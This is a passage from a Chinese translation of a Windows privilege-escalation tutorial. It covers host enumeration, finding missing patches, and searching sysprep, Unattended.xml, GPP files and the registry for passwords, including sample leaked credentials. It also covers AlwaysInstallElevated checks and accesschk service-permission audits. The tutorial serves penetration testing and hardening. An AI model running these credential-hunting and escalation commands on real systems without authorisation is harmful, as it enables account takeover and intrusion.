没有多少人谈论在Windows下提权，是一件让人遗憾的事！我想，没有人这么做的理由有以下几点：
尽管通常的感觉是配置得当的windows是安全的。但是事实真的是这样吗？因此，让我们深入了解Windows操作系统的黑暗角落，看看我们是否能得到SYSTEM权限。
应该注意的是，我将使用不同版本的Windows来强调任何可能存在的命令行差异。请牢记这一点，因为不同的操作系统和版本差异会在命令行中显现。我试图构造本教程，以便它适用于Windows提权的最普遍的方式。 最后，我想对我的朋友Kostas大声说，他真的也很喜欢渗透（post-exploitation），你不会想让他进入到你的计算机的。
【必要文档补充】
译者注：原文作者提了下meterpreter，我们可以把meterpreter比做sql注入利用的sqlmap，在得到meterpreter的shell后，可以输入命令getsystem，自动完成提权。
最开始是一个低权限的shell，这个shell可能是通过远程代码执行，钓鱼，反弹得到的。基本上最开始我们对计算机并不了解，比如它是做什么的，有什么连接，我们有什么权限，甚至是什么操作系统。
在最开始的阶段，我们得快速收集一些基本信息来评估我们的环境。
操作系统
第一步，让我们找到我们连接的操作系统。
C:\Windows\system32> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
OS Name: Microsoft Windows 7 Professional
OS Version: 6.1.7601 Service Pack 1 Build 7601主机名+当前用户
接下来，我们看到这台计算机的主机名和我们连接上是哪个用户
C:\Windows\system32> hostname
b33f
C:\Windows\system32> echo %username%
user1所用用户信息+当前用户所在的组
现在我们有了一些基本信息，然后我们列出了其他用户帐户，并在更详细的情况下查看我们自己的用户信息。我们已经看到user1不是本地组管理员。
C:\Windows\system32> net users
User accounts for \\B33F
-------------------------------------------------------------------------------
Administrator b33f Guest
user1
The command completed successfully.
C:\Windows\system32> net user user1
User name user1
Full Name
Comment
User's comment
Country code 000 (System Default)
Account active Yes
Account expires Never
Password last set 1/11/2014 7:47:14 PM
Password expires Never
Password changeable 1/11/2014 7:47:14 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 1/11/2014 8:05:09 PM
Logon hours allowed All
Local Group Memberships *Users
Global Group memberships *None
The command completed successfully.网络接口+路由表
这就是我们目前需要了解的关于用户和权限的全部内容。接下来我们要讨论的是网络信息，连接的设备是什么，以及它对这些连接施加了什么规则。
首先让我们看一下可用的网络接口和路由表。
C:\Windows\system32> ipconfig /all
Windows IP Configuration
Host Name . . . . . . . . . . . . : b33f
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
Ethernet adapter Bluetooth Network Connection:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Bluetooth Device (Personal Area Network)
Physical Address. . . . . . . . . : 0C-84-DC-62-60-29
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
Physical Address. . . . . . . . . : 00-0C-29-56-79-35
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::5cd4:9caf:61c0:ba6e%11(Preferred)
IPv4 Address. . . . . . . . . . . : 192.168.0.104(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Lease Obtained. . . . . . . . . . : Saturday, January 11, 2014 3:53:55 PM
Lease Expires . . . . . . . . . . : Sunday, January 12, 2014 3:53:55 PM
Default Gateway . . . . . . . . . : 192.168.0.1
DHCP Server . . . . . . . . . . . : 192.168.0.1
DHCPv6 IAID . . . . . . . . . . . : 234884137
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-18-14-24-1D-00-0C-29-56-79-35
DNS Servers . . . . . . . . . . . : 192.168.0.1
NetBIOS over Tcpip. . . . . . . . : Enabled
C:\Windows\system32> route print
===========================================================================
Interface List
18...0c 84 dc 62 60 29 ......Bluetooth Device (Personal Area Network)
13...00 ff 0c 0d 4f ed ......TAP-Windows Adapter V9
11...00 0c 29 56 79 35 ......Intel(R) PRO/1000 MT Network Connection
1...........................Software Loopback Interface 1
16...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter
15...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #2
19...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #3
14...00 00 00 00 00 00 00 e0 Teredo Tunneling Pseudo-Interface
===========================================================================
IPv4 Route Table
===========================================================================
Active Routes:
Network Destination Netmask Gateway Interface Metric
0.0.0.0 0.0.0.0 192.168.0.1 192.168.0.104 10
127.0.0.0 255.0.0.0 On-link 127.0.0.1 306
127.0.0.1 255.255.255.255 On-link 127.0.0.1 306
127.255.255.255 255.255.255.255 On-link 127.0.0.1 306
192.168.0.0 255.255.255.0 On-link 192.168.0.104 266
192.168.0.104 255.255.255.255 On-link 192.168.0.104 266
192.168.0.255 255.255.255.255 On-link 192.168.0.104 266
224.0.0.0 240.0.0.0 On-link 127.0.0.1 306
224.0.0.0 240.0.0.0 On-link 192.168.0.104 266
255.255.255.255 255.255.255.255 On-link 127.0.0.1 306
255.255.255.255 255.255.255.255 On-link 192.168.0.104 266
===========================================================================
Persistent Routes:
None
IPv6 Route Table
===========================================================================
Active Routes:
If Metric Network Destination Gateway
14 58 ::/0 On-link
1 306 ::1/128 On-link
14 58 2001::/32 On-link
14 306 2001:0:5ef5:79fb:8d2:b4e:3f57:ff97/128
On-link
11 266 fe80::/64 On-link
14 306 fe80::/64 On-link
14 306 fe80::8d2:b4e:3f57:ff97/128
On-link
11 266 fe80::5cd4:9caf:61c0:ba6e/128
On-link
1 306 ff00::/8 On-link
14 306 ff00::/8 On-link
11 266 ff00::/8 On-link
===========================================================================
Persistent Routes:
NoneArp缓存表
arp -A显示了所有可用接口的arp(地址解析协议)缓存表。
C:\Windows\system32> arp -A
Interface: 192.168.0.104 --- 0xb
Internet Address Physical Address Type
192.168.0.1 90-94-e4-c5-b0-46 dynamic
192.168.0.101 ac-22-0b-af-bb-43 dynamic
192.168.0.255 ff-ff-ff-ff-ff-ff static
224.0.0.22 01-00-5e-00-00-16 static
224.0.0.251 01-00-5e-00-00-fb static
224.0.0.252 01-00-5e-00-00-fc static
239.255.255.250 01-00-5e-7f-ff-fa static
255.255.255.255 ff-ff-ff-ff-ff-ff static这就使我们了解了活动网络连接和防火墙规则
C:\Windows\system32> netstat -ano
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 684
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:5357 0.0.0.0:0 LISTENING 4
TCP 127.0.0.1:5354 0.0.0.0:0 LISTENING 1400
TCP 192.168.0.104:139 0.0.0.0:0 LISTENING 4
TCP [::]:135 [::]:0 LISTENING 684
TCP [::]:445 [::]:0 LISTENING 4
TCP [::]:5357 [::]:0 LISTENING 4
UDP 0.0.0.0:5355 *:* 1100
UDP 0.0.0.0:52282 *:* 976
UDP 0.0.0.0:55202 *:* 2956
UDP 0.0.0.0:59797 *:* 1400
UDP 127.0.0.1:1900 *:* 2956
UDP 127.0.0.1:65435 *:* 2956
UDP 192.168.0.104:137 *:* 4
UDP 192.168.0.104:138 *:* 4
UDP 192.168.0.104:1900 *:* 2956
UDP 192.168.0.104:5353 *:* 1400
UDP 192.168.0.104:65434 *:* 2956
UDP [::]:5355 *:* 1100
UDP [::]:52281 *:* 976
UDP [::]:52283 *:* 976
UDP [::]:55203 *:* 2956
UDP [::]:59798 *:* 1400
UDP [::1]:1900 *:* 2956
UDP [::1]:5353 *:* 1400
UDP [::1]:65433 *:* 2956
UDP [fe80::5cd4:9caf:61c0:ba6e%11]:1900 *:* 2956
UDP [fe80::5cd4:9caf:61c0:ba6e%11]:65432 *:* 2956查看防火墙转态+防火墙配置信息
以下两个netsh命令是在不同操作系统的命令示例。netsh firewall命令只能从XP SP2和以上版本运行。
C:\Windows\system32> netsh firewall show state
Firewall status:
-------------------------------------------------------------------
Profile = Standard
Operational mode = Enable
Exception mode = Enable
Multicast/broadcast response mode = Enable
Notification mode = Enable
Group policy version = Windows Firewall
Remote admin mode = Disable
Ports currently open on all network interfaces:
Port Protocol Version Program
-------------------------------------------------------------------
No ports are currently open on all network interfaces.
C:\Windows\system32> netsh firewall show config
Domain profile configuration:
-------------------------------------------------------------------
Operational mode = Enable
Exception mode = Enable
Multicast/broadcast response mode = Enable
Notification mode = Enable
Allowed programs configuration for Domain profile:
Mode Traffic direction Name / Program
-------------------------------------------------------------------
Port configuration for Domain profile:
Port Protocol Mode Traffic direction Name
-------------------------------------------------------------------
ICMP configuration for Domain profile:
Mode Type Description
-------------------------------------------------------------------
Enable 2 Allow outbound packet too big
Standard profile configuration (current):
-------------------------------------------------------------------
Operational mode = Enable
Exception mode = Enable
Multicast/broadcast response mode = Enable
Notification mode = Enable
Service configuration for Standard profile:
Mode Customized Name
-------------------------------------------------------------------
Enable No Network Discovery
Allowed programs configuration for Standard profile:
Mode Traffic direction Name / Program
-------------------------------------------------------------------
Enable Inbound COMRaider / E:\comraider\comraider.exe
Enable Inbound nc.exe / C:\users\b33f\desktop\nc.exe
Port configuration for Standard profile:
Port Protocol Mode Traffic direction Name
-------------------------------------------------------------------
ICMP configuration for Standard profile:
Mode Type Description
-------------------------------------------------------------------
Enable 2 Allow outbound packet too big
Log configuration:
-------------------------------------------------------------------
File location = C:\Windows\system32\LogFiles\Firewall\pfirewall.log
Max file size = 4096 KB
Dropped packets = Disable
Connections = Disable查看 进程+服务+计划任务+驱动程序
最后，我们将简要地看一下在这个设备上运行的有什么，比如计划任务、运行进程、启动服务和安装的驱动程序。 这将显示所有调度任务的详细输出，下面您可以看到单个任务的示例输出。
C:\Windows\system32> schtasks /query /fo LIST /v
Folder: \Microsoft\Windows Defender
HostName: B33F
TaskName: \Microsoft\Windows Defender\MP Scheduled Scan
Next Run Time: 1/22/2014 5:11:13 AM
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: N/A
Last Result: 1
Author: N/A
Task To Run: c:\program files\windows defender\MpCmdRun.exe Scan -ScheduleJob
-WinTask -RestrictPrivilegesScan
Start In: N/A
Comment: Scheduled Scan
Scheduled Task State: Enabled
Idle Time: Only Start If Idle for 1 minutes, If Not Idle Retry For 240 minutes
Power Management: No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Enabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Daily
Start Time: 5:11:13 AM
Start Date: 1/1/2000
End Date: 1/1/2100
Days: Every 1 day(s)
Months: N/A
Repeat: Every: Disabled
Repeat: Until: Time: Disabled
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled
[..Snip..]进程+服务
C:\Windows\system32> tasklist /SVC
Image Name PID Services
========================= ======== ============================================
System Idle Process 0 N/A
System 4 N/A
smss.exe 244 N/A
csrss.exe 332 N/A
csrss.exe 372 N/A
wininit.exe 380 N/A
winlogon.exe 428 N/A
services.exe 476 N/A
lsass.exe 484 SamSs
lsm.exe 496 N/A
svchost.exe 588 DcomLaunch, PlugPlay, Power
svchost.exe 668 RpcEptMapper, RpcSs
svchost.exe 760 Audiosrv, Dhcp, eventlog,
HomeGroupProvider, lmhosts, wscsvc
svchost.exe 800 AudioEndpointBuilder, CscService, Netman,
SysMain, TrkWks, UxSms, WdiSystemHost,
wudfsvc
svchost.exe 836 AeLookupSvc, BITS, gpsvc, iphlpsvc,
LanmanServer, MMCSS, ProfSvc, Schedule,
seclogon, SENS, ShellHWDetection, Themes,
Winmgmt, wuauserv
audiodg.exe 916 N/A
svchost.exe 992 EventSystem, fdPHost, netprofm, nsi,
WdiServiceHost, WinHttpAutoProxySvc
svchost.exe 1104 CryptSvc, Dnscache, LanmanWorkstation,
NlaSvc
spoolsv.exe 1244 Spooler
svchost.exe 1272 BFE, DPS, MpsSvc
mDNSResponder.exe 1400 Bonjour Service
taskhost.exe 1504 N/A
taskeng.exe 1556 N/A
vmtoolsd.exe 1580 VMTools
dwm.exe 1660 N/A
explorer.exe 1668 N/A
vmware-usbarbitrator.exe 1768 VMUSBArbService
TPAutoConnSvc.exe 1712 TPAutoConnSvc
[..Snip..]
C:\Windows\system32> net start
These Windows services are started:
Application Experience
Application Information
Background Intelligent Transfer Service
Base Filtering Engine
Bluetooth Support Service
Bonjour Service
COM+ Event System
COM+ System Application
Cryptographic Services
DCOM Server Process Launcher
Desktop Window Manager Session Manager
DHCP Client
Diagnostic Policy Service
Diagnostic Service Host
Diagnostic System Host
Distributed Link Tracking Client
Distributed Transaction Coordinator
DNS Client
Function Discovery Provider Host
Function Discovery Resource Publication
Group Policy Client
[..Snip..]
# DRIVERQUERY有时是有用的，因为一些第三方驱动，即使是信誉良好的公司，也比ring0的洞多。这是可能的，因为ring0的利用是在大多数人的专长技能之外。驱动信息
C:\Windows\system32> DRIVERQUERY
Module Name Display Name Driver Type Link Date
============ ====================== ============= ======================
1394ohci 1394 OHCI Compliant Ho Kernel 11/20/2010 6:01:11 PM
ACPI Microsoft ACPI Driver Kernel 11/20/2010 4:37:52 PM
AcpiPmi ACPI Power Meter Drive Kernel 11/20/2010 4:47:55 PM
adp94xx adp94xx Kernel 12/6/2008 7:59:55 AM
adpahci adpahci Kernel 5/2/2007 1:29:26 AM
adpu320 adpu320 Kernel 2/28/2007 8:03:08 AM
AFD Ancillary Function Dri Kernel 11/20/2010 4:40:00 PM
agp440 Intel AGP Bus Filter Kernel 7/14/2009 7:25:36 AM
aic78xx aic78xx Kernel 4/12/2006 8:20:11 AM
aliide aliide Kernel 7/14/2009 7:11:17 AM
amdagp AMD AGP Bus Filter Dri Kernel 7/14/2009 7:25:36 AM
amdide amdide Kernel 7/14/2009 7:11:19 AM
AmdK8 AMD K8 Processor Drive Kernel 7/14/2009 7:11:03 AM
AmdPPM AMD Processor Driver Kernel 7/14/2009 7:11:03 AM
amdsata amdsata Kernel 3/19/2010 9:08:27 AM
amdsbs amdsbs Kernel 3/21/2009 2:35:26 AM
amdxata amdxata Kernel 3/20/2010 12:19:01 AM
AppID AppID Driver Kernel 11/20/2010 5:29:48 PM
arc arc Kernel 5/25/2007 5:31:06 AM
[..Snip..]我想提下WMIC (Windows Management Instrumentation Command-Line，Windows管理工具命令行)，因为它是Windows最有用的命令行工具。WMIC对于信息收集和渗透都是非常实用的而且输出内容有很多值得期待的地方。全面解释WMIC的使用将需要一个教程。补充一点，由于格式化的问题，WMIC有些输出将很难显示。 我将会在下面列出两个文章，这两个文章对于WMIC是非常值得阅读的。
Command-Line Ninjitsu (SynJunkie) - here
Windows WMIC Command Line (ComputerHope) - here
糟糕的是，一些默认配置的windows并不允许访问WMIC，除非是用户在windows的管理组，从我的虚拟机测试来看，任何版本的windows xp的低权限用户并不能访问WMIC。相反的，默认配置的windows 7 专业版和windows 8 企业版允许低权限的用户访问WMIC并查询操作系统版本。这正是我们所需要的，因为我们正在使用WMIC来收集关于目标机的信息。 关于WMIC的选项，我已经列出了下面可用的命令行。
C:\Windows\system32> wmic /?
[global switches]
The following global switches are available:
/NAMESPACE Path for the namespace the alias operate against.
/ROLE Path for the role containing the alias definitions.
/NODE Servers the alias will operate against.
/IMPLEVEL Client impersonation level.
/AUTHLEVEL Client authentication level.
/LOCALE Language id the client should use.
/PRIVILEGES Enable or disable all privileges.
/TRACE Outputs debugging information to stderr.
/RECORD Logs all input commands and output.
/INTERACTIVE Sets or resets the interactive mode.
/FAILFAST Sets or resets the FailFast mode.
/USER User to be used during the session.
/PASSWORD Password to be used for session login.
/OUTPUT Specifies the mode for output redirection.
/APPEND Specifies the mode for output redirection.
/AGGREGATE Sets or resets aggregate mode.
/AUTHORITY Specifies the for the connection.
/?[:<BRIEF|FULL>] Usage information.
For more information on a specific global switch, type: switch-name /?
The following alias/es are available in the current role:
ALIAS - Access to the aliases available on the local system
BASEBOARD - Base board (also known as a motherboard or system board) management.
BIOS - Basic input/output services (BIOS) management.
BOOTCONFIG - Boot configuration management.
CDROM - CD-ROM management.
COMPUTERSYSTEM - Computer system management.
CPU - CPU management.
CSPRODUCT - Computer system product information from SMBIOS.
DATAFILE - DataFile Management.
DCOMAPP - DCOM Application management.
DESKTOP - User's Desktop management.
DESKTOPMONITOR - Desktop Monitor management.
DEVICEMEMORYADDRESS - Device memory addresses management.
DISKDRIVE - Physical disk drive management.
DISKQUOTA - Disk space usage for NTFS volumes.
DMACHANNEL - Direct memory access (DMA) channel management.
ENVIRONMENT - System environment settings management.
FSDIR - Filesystem directory entry management.
GROUP - Group account management.
IDECONTROLLER - IDE Controller management.
IRQ - Interrupt request line (IRQ) management.
JOB - Provides access to the jobs scheduled using the schedule service.
LOADORDER - Management of system services that define execution dependencies.
LOGICALDISK - Local storage device management.
LOGON - LOGON Sessions.
MEMCACHE - Cache memory management.
MEMORYCHIP - Memory chip information.
MEMPHYSICAL - Computer system's physical memory management.
NETCLIENT - Network Client management.
NETLOGIN - Network login information (of a particular user) management.
NETPROTOCOL - Protocols (and their network characteristics) management.
NETUSE - Active network connection management.
NIC - Network Interface Controller (NIC) management.
NICCONFIG - Network adapter management.
NTDOMAIN - NT Domain management.
NTEVENT - Entries in the NT Event Log.
NTEVENTLOG - NT eventlog file management.
ONBOARDDEVICE - Management of common adapter devices built into the motherboard (system board).
OS - Installed Operating System/s management.
PAGEFILE - Virtual memory file swapping management.
PAGEFILESET - Page file settings management.
PARTITION - Management of partitioned areas of a physical disk.
PORT - I/O port management.
PORTCONNECTOR - Physical connection ports management.
PRINTER - Printer device management.
PRINTERCONFIG - Printer device configuration management.
PRINTJOB - Print job management.
PROCESS - Process management.
PRODUCT - Installation package task management.
QFE - Quick Fix Engineering.
QUOTASETTING - Setting information for disk quotas on a volume.
RDACCOUNT - Remote Desktop connection permission management.
RDNIC - Remote Desktop connection management on a specific network adapter.
RDPERMISSIONS - Permissions to a specific Remote Desktop connection.
RDTOGGLE - Turning Remote Desktop listener on or off remotely.
RECOVEROS - Information that will be gathered from memory when the operating system fails.
REGISTRY - Computer system registry management.
SCSICONTROLLER - SCSI Controller management.
SERVER - Server information management.
SERVICE - Service application management.
SHADOWCOPY - Shadow copy management.
SHADOWSTORAGE - Shadow copy storage area management.
SHARE - Shared resource management.
SOFTWAREELEMENT - Management of the elements of a software product installed on a system.
SOFTWAREFEATURE - Management of software product subsets of SoftwareElement.
SOUNDDEV - Sound Device management.
STARTUP - Management of commands that run automatically when users log onto the computer
system.
SYSACCOUNT - System account management.
SYSDRIVER - Management of the system driver for a base service.
SYSTEMENCLOSURE - Physical system enclosure management.
SYSTEMSLOT - Management of physical connection points including ports, slots and
peripherals, and proprietary connections points.
TAPEDRIVE - Tape drive management.
TEMPERATURE - Data management of a temperature sensor (electronic thermometer).
TIMEZONE - Time zone data management.
UPS - Uninterruptible power supply (UPS) management.
USERACCOUNT - User account management.
VOLTAGE - Voltage sensor (electronic voltmeter) data management.
VOLUME - Local storage volume management.
VOLUMEQUOTASETTING - Associates the disk quota setting with a specific disk volume.
VOLUMEUSERQUOTA - Per user storage volume quota management.
WMISET - WMI service operational parameters management.
For more information on a specific alias, type: alias /?
CLASS - Escapes to full WMI schema.
PATH - Escapes to full WMI object paths.
CONTEXT - Displays the state of all the global switches.
QUIT/EXIT - Exits the program.
For more information on CLASS/PATH/CONTEXT, type: (CLASS | PATH | CONTEXT) /?为了简化操作，我已经创建了一个脚本，可以在目标机器上使用WMIC提取以下信息:流程、服务、用户帐号、用户组、网络接口、硬盘信息、网络共享信息、安装Windows补丁、程序在启动运行、安装的软件列表、操作系统、时区信息。 我已经通过各种标志和参数来提取有价值的信息，如果有人想要添加到列表中，请在下面留下评论。使用内置的输出特性，脚本将把所有结果写入一个人类可读的html文件。
脚本地址：http://www.fuzzysecurity.com/tutorials/files/wmic_info.rar
输出页面：http://www.fuzzysecurity.com/tutorials/files/Win7.html
在继续渗透之前，你需要先回顾一下已经搜集到的信息，信息量应该已经不小了。我们计划的下一步就是要寻找一些能被轻易利用的系统缺陷来提升权限。 显而易见，第一步就是去查看补丁修正情况。如果发现主机已经被打了某些补丁，也不用很担心。我的 WMIC 脚本可以列出所有已安装的补丁，你可以通过下面这条命令来查看：
查看补丁信息
C:\Windows\system32> wmic qfe get Caption,Description,HotFixID,InstalledOn
Caption Description HotFixID InstalledOn
http://support.microsoft.com/?kbid=2727528 Security Update KB2727528 11/23/2013
http://support.microsoft.com/?kbid=2729462 Security Update KB2729462 11/26/2013
http://support.microsoft.com/?kbid=2736693 Security Update KB2736693 11/26/2013
http://support.microsoft.com/?kbid=2737084 Security Update KB2737084 11/23/2013
http://support.microsoft.com/?kbid=2742614 Security Update KB2742614 11/23/2013
http://support.microsoft.com/?kbid=2742616 Security Update KB2742616 11/26/2013
http://support.microsoft.com/?kbid=2750149 Update KB2750149 11/23/2013
http://support.microsoft.com/?kbid=2756872 Update KB2756872 11/24/2013
http://support.microsoft.com/?kbid=2756923 Security Update KB2756923 11/26/2013
http://support.microsoft.com/?kbid=2757638 Security Update KB2757638 11/23/2013
http://support.microsoft.com/?kbid=2758246 Update KB2758246 11/24/2013
http://support.microsoft.com/?kbid=2761094 Update KB2761094 11/24/2013
http://support.microsoft.com/?kbid=2764870 Update KB2764870 11/24/2013
http://support.microsoft.com/?kbid=2768703 Update KB2768703 11/23/2013
http://support.microsoft.com/?kbid=2769034 Update KB2769034 11/23/2013
http://support.microsoft.com/?kbid=2769165 Update KB2769165 11/23/2013
http://support.microsoft.com/?kbid=2769166 Update KB2769166 11/26/2013
http://support.microsoft.com/?kbid=2770660 Security Update KB2770660 11/23/2013
http://support.microsoft.com/?kbid=2770917 Update KB2770917 11/24/2013
http://support.microsoft.com/?kbid=2771821 Update KB2771821 11/24/2013
[..Snip..]但这些输出并不代表一定可以被利用，最好的策略先是去寻找可以提升权限的 EXP 以及它们的补丁编号。这些 EXP 包括但不限于：KiTrap0D (KB979682), MS11-011 (KB2393802), MS10-059 (KB982799), MS10-021 (KB979683), MS11-080 (KB2592799)。在列举了系统版本和补丁包后，你应该发现哪些权限提升漏洞可以被复现，使用补丁包编号你可以过滤掉那些已经被安装的补丁，检查一下是否有被漏打的补丁。
补丁包过滤
以下是对补丁包进行过滤的语法
C:\Windows\system32> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB.." /C:"KB.."接下来我们将会有很多新发现。一般情况下，如果需要给很多机器配置同一个环境，一个技术人员一定不会逐个安装配置这些机器，而是会选择一些自动化安装的解决方案。这些方案是什么以及它们是如何工作的与我们当下所做的事不是很相关，重要的是他们留下的用于安装流程的配置文件，这些配置文件包含大量的敏感信息，例如操作系统的产品密钥和管理员密码。而我们最最感兴趣的就是管理员密码，因为我们可以借此来提升我们的权限。 以下是一些经常被用于存放配置文件的位置（当然检查整个系统也是可以的）
c:\sysprep.inf
c:\sysprep\sysprep.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml这些目录中的文件可能包含着明文密码，或是Base64加密后的密码。下面是一些文件中的样例：
# This is a sample from sysprep.inf with clear-text credentials.
[GuiUnattended]
OEMSkipRegional=1
OemSkipWelcome=1
AdminPassword=s3cr3tp4ssw0rd
TimeZone=20
# This is a sample from sysprep.xml with Base64 "encoded" credentials. Please people Base64 is not
encryption, I take more precautions to protect my coffee. The password here is "SuperSecurePassword".
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>
<Value>U3VwZXJTZWN1cmVQYXNzd29yZA==</Value>
<PlainText>false</PlainText>
</Password>
<Description>Local Administrator</Description>
<DisplayName>Administrator</DisplayName>
<Group>Administrators</Group>
<Name>Administrator</Name>
</LocalAccount>
</LocalAccounts>
# Sample from Unattended.xml with the same "secure" Base64 encoding.
<AutoLogon>
<Password>
<Value>U3VwZXJTZWN1cmVQYXNzd29yZA==</Value>
<PlainText>false</PlainText>
</Password>
<Enabled>true</Enabled>
<Username>Administrator</Username>
</AutoLogon>在 Ben Campbell (@Meatballs__) 的推荐下，我将获取组策略首选项 ( Group Policy Preferences ) 保存的密码也作为快速攻陷目标机器的方式之一。组策略首选项文件可以被用于去创建域内主机的本地用户。如果你控制的机器被连接到一个域内，那么去查找一下存储在 SYSVOL 中的 Groups.xml 文件也是很有意义的，而且所有被授权的用户都有该文件的读权限。在这个 xml 文件中的密码只是被临时用户“模糊”地用 AES 加密了，说“模糊”是因为静态密钥已经被公开的公布于 msdn 网站上，所以可以轻松地破解这些密码。
除了 Groups.xml 还有几个其他的策略首选项文件也同样含有可选的 “cPassword” 属性：
Services\Services.xml: Element-Specific Attributes
ScheduledTasks\ScheduledTasks.xml: Task Inner Element, TaskV2 Inner Element, ImmediateTaskV2 Inner Element
Printers\Printers.xml: SharedPrinter Element
Drives\Drives.xml: Element-Specific Attributes
DataSources\DataSources.xml: Element-Specific Attributes这个漏洞可以通过手动浏览 SYSVOL 文件夹和抓取相关文件来利用，证明如下
然而，我们都希望有一个自动化的解决方案，这样我们就可以尽可能快的完成这项工作。这里主要有两种方式，取决于我们的 shell 类型以及权限大小，
(1) 一个是通过已建立的会话执行 metasploit 模块
(2) 你可以使用 PowerSploit 的 Get-GPPPassword 功能。PowerSploit 是一个强大的 powershell 框架，作者是 Matt Graeber（擅长逆向工程、计算机取证以及渗透测试）。
接下来我们要查找一个奇怪的注册表设置项 “AlwaysInstallElevated”，如果该设置项被启用，它会允许任何权限的用户以 NT AUTHORITY\SYSTEM 权限来安装 *.msi 文件。可以创建低权限的用户（它们的操作系统使用受到限制）但是却给它们 SYSTEM 权限去安装软件，这在我看来是有些奇怪。想要阅读更多的这方面的背景知识，可以查看这里 ，这是在 GreyHatHacker 博客上 Parvez 的一篇文章，他最早报告了这个安全问题。 为了能利用这个漏洞，我们需要去检查两个注册表键值是否被设置，这是我们是否能弹出 SYSTEM 权限 shell 的关键。以下是查询对应注册表键值的语法
# This will only work if both registry keys contain "AlwaysInstallElevated" with DWORD values of 1.
C:\Windows\system32> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
C:\Windows\system32> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated为了完成这个章节，我们还将在操作系统上做一些快速搜索，希望我们可以成功。 执行以下语句完成搜索
# The command below will search the file system for file names containing certain keywords. You can
specify as many keywords as you wish.
C:\Windows\system32> dir /s *pass* == *cred* == *vnc* == *.config*
# Search certain file types for a keyword, this can generate a lot of output.
C:\Windows\system32> findstr /si password *.xml *.ini *.txt
# Similarly the two commands below can be used to grep the registry for keywords, in this case "password".
C:\Windows\system32> reg query HKLM /f password /t REG_SZ /s
C:\Windows\system32> reg query HKCU /f password /t REG_SZ /s希望到现在为止，我们已经有了一个 SYSTEM shell，但如果我们还没有，接下来还有一些攻击方法可以尝试。在最后章节我们将会关注于 Windows 服务和文件/目录权限部分。我们的目标是去使用低权限去提升当前会话权限。
我们将会检查很多访问权限，所以我们应该抓取一份微软 Sysinternals 套件中 accesschk.exe 工具的副本。微软 Sysinternals 套件包含了许多强大的工具，但微软并没有把它们加入标准版的 Windows。你可以从 微软 technet 网站下载该套件
我们将会先从 Windows 开启的服务来寻找线索，因为那里可以发现很多快速制胜的方法。通常来说，现代操作系统不会包含存在漏洞的服务。在这种情况下，漏洞指的是我们可以重新配置的服务参数。Windows 服务有点像应用程序的快捷键，下面是一个例子
# We can use sc to query, configure and manage windows services.
C:\Windows\system32> sc qc Spooler
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: Spooler
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\System32\spoolsv.exe
LOAD_ORDER_GROUP : SpoolerGroup
TAG : 0
DISPLAY_NAME : Print Spooler
DEPENDENCIES : RPCSS
: http
SERVICE_START_NAME : LocalSystem我们可以使用 accesschk 检查每一个服务的权限
# We can see the permissions that each user level has, you can also use "accesschk.exe -ucqv *" to list
all services.
C:\> accesschk.exe -ucqv Spooler
Spooler
R NT AUTHORITY\Authenticated Users
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
R BUILTIN\Power Users
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_START
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESSAccesschk 可以自动化的检测我们是否拥有一个 Windows 服务的写入访问权限。作为一个低权限用户，我们通常希望检查结果为 “Authenticated Users”。一定要去检查你的用户属于哪个用户组，举个例子，“Power Users” 被认为是一个低权限用户组（尽管它没有被广泛使用）
一起来比较一下在 Windows 8 和 Windows XP SP0 上输出的不同
# This is on Windows 8.
C:\Users\b33f\tools\Sysinternals> accesschk.exe -uwcqv "Authenticated Users" *
No matching objects found.
# On a default Windows XP SP0 we can see there is a pretty big security fail.
C:\> accesschk.exe -uwcqv "Authenticated Users" *
RW SSDPSRV
SERVICE_ALL_ACCESS
RW upnphost
SERVICE_ALL_ACCESS
C:\> accesschk.exe -ucqv SSDPSRV
SSDPSRV
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW NT AUTHORITY\Authenticated Users
SERVICE_ALL_ACCESS
RW BUILTIN\Power Users
SERVICE_ALL_ACCESS
RW NT AUTHORITY\LOCAL SERVICE
